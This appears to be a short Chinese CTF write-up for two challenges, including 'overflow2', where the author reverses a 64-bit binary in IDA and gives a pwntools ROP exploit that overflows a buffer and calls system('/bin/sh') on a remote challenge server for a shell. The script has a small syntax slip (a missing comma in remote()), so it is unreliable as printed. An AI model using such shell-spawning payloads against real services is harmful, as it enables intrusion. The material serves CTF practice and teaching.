瑞士军刀
打开题目
![](https://i-blog.csdnimg.cn/blog_migrate/ec1d9c3bef1cb1b3e8f653816ec71689.png)
利用Kali连接 ls查看
![](https://i-blog.csdnimg.cn/blog_migrate/d956435d8d8bea593e67ec21f249ec2d.png)
得到flag
overflow2
题目
![](https://i-blog.csdnimg.cn/blog_migrate/beb3ba3db2ee693dfb8461375af51418.png)
给了个nc和文件 下载 解压
在kali中使用file命令查看文件类型 可以看到是64位
![](https://i-blog.csdnimg.cn/blog_migrate/3df4d58a07d5488b2b472ea057867f2b.png)
使用IDA 64 Pro打开文件 查看主函数
![](https://i-blog.csdnimg.cn/blog_migrate/eec61c998715a2300a4d670f651f65f3.png)
寻找后门函数
![](https://i-blog.csdnimg.cn/blog_migrate/2109310064a39fc11153da6e10b02df0.png)
![](https://i-blog.csdnimg.cn/blog_migrate/63da7ca8187faf0e1ad36983bb2f7b7f.png)
![](https://i-blog.csdnimg.cn/blog_migrate/bce47ce614252bd5ea5cbcdd7cdc0707.png)
system函数的地址是0×40043F
exp
from pwn import *
#sh = process('./pwn')
sh = remote('114.67.175.224' 10444)
sh.recvuntil('Please Input your name')
pop_rdi_ret = 0x40126b
system_addr = 0x40043F
binsh_addr = 0x402004
payload = b'a' * 32 + p64(1) + p64(pop_rdi_ret) + p64(binsh_addr) + p64(system_addr)
sh.send(payload)
sh.interactive()
得到flag
![](https://i-blog.csdnimg.cn/blog_migrate/03ca2f03d36e6d3dc435c544d179ff54.png)